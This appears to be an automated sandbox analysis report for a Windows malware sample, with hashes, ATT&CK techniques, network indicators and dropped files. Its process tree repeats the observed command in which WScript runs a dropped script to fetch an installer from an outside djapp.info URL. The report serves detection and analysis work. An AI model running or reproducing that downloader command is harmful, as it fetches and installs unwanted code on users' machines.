f0ecaab9060a00790c29ab38aa66ca03d99183ebd696456e57524b6df0f43920

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240419-en
resource tags

arch:x64arch:x86image:win7-20240419-enlocale:en-usos:windows7-x64system
submitted
14-05-2024 14:00

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

41c09c193b5c2b377ee2d07119c3fc4e_JaffaCakes118.exe
Size

184KB
MD5

41c09c193b5c2b377ee2d07119c3fc4e
SHA1

f1b5dd18d48a35317a155ef61ac259a2716785f4
SHA256

f0ecaab9060a00790c29ab38aa66ca03d99183ebd696456e57524b6df0f43920
SHA512

e9b945e59f44d1af8bb6b48453ee43e2e36a379c8a0b0a3ad130bf710c5f1d262b3ab570bb4bc5176e5d5dad352ce6fc7e65d4e0d26a14d1f788e4dcc22ff0b8
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3W:/7BSH8zUB+nGESaaRvoB7FJNndnP

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 11 IoCs

flow	pid	Process
6	464	WScript.exe
8	464	WScript.exe
10	464	WScript.exe
12	2532	WScript.exe
13	2532	WScript.exe
15	1672	WScript.exe
16	1672	WScript.exe
18	1964	WScript.exe
19	1964	WScript.exe
21	1776	WScript.exe
22	1776	WScript.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2912 wrote to memory of 464	2912	41c09c193b5c2b377ee2d07119c3fc4e_JaffaCakes118.exe	28
PID 2912 wrote to memory of 464	2912	41c09c193b5c2b377ee2d07119c3fc4e_JaffaCakes118.exe	28
PID 2912 wrote to memory of 464	2912	41c09c193b5c2b377ee2d07119c3fc4e_JaffaCakes118.exe	28
PID 2912 wrote to memory of 464	2912	41c09c193b5c2b377ee2d07119c3fc4e_JaffaCakes118.exe	28
PID 2912 wrote to memory of 2532	2912	41c09c193b5c2b377ee2d07119c3fc4e_JaffaCakes118.exe	30
PID 2912 wrote to memory of 2532	2912	41c09c193b5c2b377ee2d07119c3fc4e_JaffaCakes118.exe	30
PID 2912 wrote to memory of 2532	2912	41c09c193b5c2b377ee2d07119c3fc4e_JaffaCakes118.exe	30
PID 2912 wrote to memory of 2532	2912	41c09c193b5c2b377ee2d07119c3fc4e_JaffaCakes118.exe	30
PID 2912 wrote to memory of 1672	2912	41c09c193b5c2b377ee2d07119c3fc4e_JaffaCakes118.exe	32
PID 2912 wrote to memory of 1672	2912	41c09c193b5c2b377ee2d07119c3fc4e_JaffaCakes118.exe	32
PID 2912 wrote to memory of 1672	2912	41c09c193b5c2b377ee2d07119c3fc4e_JaffaCakes118.exe	32
PID 2912 wrote to memory of 1672	2912	41c09c193b5c2b377ee2d07119c3fc4e_JaffaCakes118.exe	32
PID 2912 wrote to memory of 1964	2912	41c09c193b5c2b377ee2d07119c3fc4e_JaffaCakes118.exe	34
PID 2912 wrote to memory of 1964	2912	41c09c193b5c2b377ee2d07119c3fc4e_JaffaCakes118.exe	34
PID 2912 wrote to memory of 1964	2912	41c09c193b5c2b377ee2d07119c3fc4e_JaffaCakes118.exe	34
PID 2912 wrote to memory of 1964	2912	41c09c193b5c2b377ee2d07119c3fc4e_JaffaCakes118.exe	34
PID 2912 wrote to memory of 1776	2912	41c09c193b5c2b377ee2d07119c3fc4e_JaffaCakes118.exe	36
PID 2912 wrote to memory of 1776	2912	41c09c193b5c2b377ee2d07119c3fc4e_JaffaCakes118.exe	36
PID 2912 wrote to memory of 1776	2912	41c09c193b5c2b377ee2d07119c3fc4e_JaffaCakes118.exe	36
PID 2912 wrote to memory of 1776	2912	41c09c193b5c2b377ee2d07119c3fc4e_JaffaCakes118.exe	36

C:\Users\Admin\AppData\Local\Temp\41c09c193b5c2b377ee2d07119c3fc4e_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\41c09c193b5c2b377ee2d07119c3fc4e_JaffaCakes118.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2912
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1AD1.js" http://www.djapp.info/?domain=EwQmEIZjUa.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf1AD1.exe
  2⤵
  - Blocklisted process makes network request
  PID:464
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1AD1.js" http://www.djapp.info/?domain=EwQmEIZjUa.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf1AD1.exe
  2⤵
  - Blocklisted process makes network request
  PID:2532
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1AD1.js" http://www.djapp.info/?domain=EwQmEIZjUa.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf1AD1.exe
  2⤵
  - Blocklisted process makes network request
  PID:1672
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1AD1.js" http://www.djapp.info/?domain=EwQmEIZjUa.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf1AD1.exe
  2⤵
  - Blocklisted process makes network request
  PID:1964
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1AD1.js" http://www.djapp.info/?domain=EwQmEIZjUa.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf1AD1.exe
  2⤵
  - Blocklisted process makes network request
  PID:1776

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

Filesize
1KB

MD5
377b0b955dd0b0490e7beca59ae633a5

SHA1
a861cdd741b460d5fbda5452d31a5e507da50c06

SHA256
50e3cb37250fc0daf7672d7bc608ea0471916b2a31d102c5a6c48b0a086bbe7b

SHA512
3ccfdf2f239c66517b6134d51ff52481c5d9c4df22db49556b0073f0aec89c53354988ae5217272beffa6adbaffeded34b7230cbd5a0569d20be076157e61225

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

Filesize
724B

MD5
8202a1cd02e7d69597995cabbe881a12

SHA1
8858d9d934b7aa9330ee73de6c476acf19929ff6

SHA256
58f381c3a0a0ace6321da22e40bd44a597bd98b9c9390ab9258426b5cf75a7a5

SHA512
97ba9fceab995d4bef706f8deef99e06862999734ebe6a05832c710104479c6337cbf0a76e1c1e0f91566a61334dc100d837dfd049e20da765fe49def684f9c9

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

Filesize
410B

MD5
f62433ea66b03b00f78c0f9f493fff2e

SHA1
ea25167712f2fe30877745c3943c4c784e7a28a3

SHA256
31e08897e67531f7a00621aa026e89a1b17495b1cb6829f8421dd3bbd7259640

SHA512
12872a30eb27f7c81571cebbe32b0247ce3700267e30bac94c01e8b6c29e0056649cfa8200ae0b22ecfdcfabfa7073da75c082715149018e9b9a39bbe9c0d394

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
78a5841d4fea9494e7a7b03e89d093b4

SHA1
abd50ce098ddee5365d188ed719af739a12ceeba

SHA256
81c1eaa03e14945985171b807897d8d1ab9fe7f5e09dbbe264d08d9595c6e741

SHA512
eb1aebd4dfb43d0d29462061e4c662c91a1388c9dd212a6c98af28ff1c6969b58e69827870ed429eb70db74ce95d181b2d5e7ab4a0055814fcecab557cd77fff

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

Filesize
392B

MD5
73196aeeab1d29145359482ad76f335d

SHA1
5af269a7d727a805dd824e6215b25c4943b4368d

SHA256
54caafb4aaa8e51b2bd7d8d74411b577aae1c16e43adf3f4398ddf4a9df2f944

SHA512
53cf9db259030654b5336aa64d3ee71b87772a522dac85d3e9713c931aab23a75bbd74c4d4503911ee605cc03b40bcad9883c7c4d63294bf684a5c1bb75f7677

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\528EVS6A\domain_profile[1].htm

Filesize
40KB

MD5
4bc0d18ceb4499248eeabf6e0cbea847

SHA1
690e1a2e6a26dd93b593f4298e7b388ce5b47c7f

SHA256
14819ad9c48688339450eb12f6a2c601b3ac45940bc9096eb61ac416f7eb969d

SHA512
33c98e05e0386ebba72325ef3c4b7ea452222802753ef19d207c59e0d5cda3a43ac1989d960650873c2c313638b3fb7c0a682e5809dff1686078e49ecb366794

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\528EVS6A\domain_profile[1].htm

Filesize
6KB

MD5
36129a4c2c675b00d9a49e51ddfce4c5

SHA1
bf4503bd10ed06188ec9922b7d125901617886c2

SHA256
d60b39efa89d9dfce04215d644438c2c7fd9942b2144e689730c960e5a7a4321

SHA512
cd6a2ed7ae43e3079a4aeee55237176a6e08ee331819de182577c88c8b14e368c99aa1e54a6580110a788f6c33ff73a6d50a2d52c704684a169be8a26be63689

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\PH7CXNA3\domain_profile[1].htm

Filesize
40KB

MD5
764e030474709c5804ad1f4e500c1813

SHA1
c61253694835a3880822b008b1ae8449c81713d3

SHA256
d6bbb202dc708d407aa1ffe90ddd27fa58cd6cc4a482915d3294bce80b370612

SHA512
b0e9371786daf927b8cf63fe680b3f63419fdecd84ec44be9da4acf8d100b25adfb8274944adc4a3ae08a16e114af22b767948c4d8b46c7f2f874baffd695d05

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\PH7CXNA3\domain_profile[1].htm

Filesize
40KB

MD5
362c33490738b51a85a79b49866f5faa

SHA1
52d6bac27ead60896e87fa9f5aa1bb213ee35e2e

SHA256
8152d3e03fef0321a8e0832f02ea67edca4c9f11bea6933a104503bd7ea71a5f

SHA512
811077e7fda7cdd4128da16494277790eb340d918bcb77daf2a448f7c597e5200cd7973dcb426430ff218d490eeb9109c002c8d935a2d5420f79b319656e4f4a

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab49FB.tmp

Filesize
68KB

MD5
29f65ba8e88c063813cc50a4ea544e93

SHA1
05a7040d5c127e68c25d81cc51271ffb8bef3568

SHA256
1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

SHA512
e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar626C.tmp

Filesize
177KB

MD5
435a9ac180383f9fa094131b173a2f7b

SHA1
76944ea657a9db94f9a4bef38f88c46ed4166983

SHA256
67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34

SHA512
1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

Download Submit
C:\Users\Admin\AppData\Local\Temp\fuf1AD1.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\I330YU1P.txt

Filesize
175B

MD5
07722e7e6646815295a251f4038c63d8

SHA1
fcd35f7fbb27054d96980434473f313e2df815e1

SHA256
6dea2cba0e5dfb429da966facc8b0c2b6a82bcbfcdef8067ad219ac6e4dc69b0

SHA512
08f987465ba90693b2d7fe28263b76bd767ac51a73330feab1f976f63841e27e4bd39e210d259ebc8784757164d5fc50e4b6f945bedb72e6fb8c6656dfa55e3b

Download Submit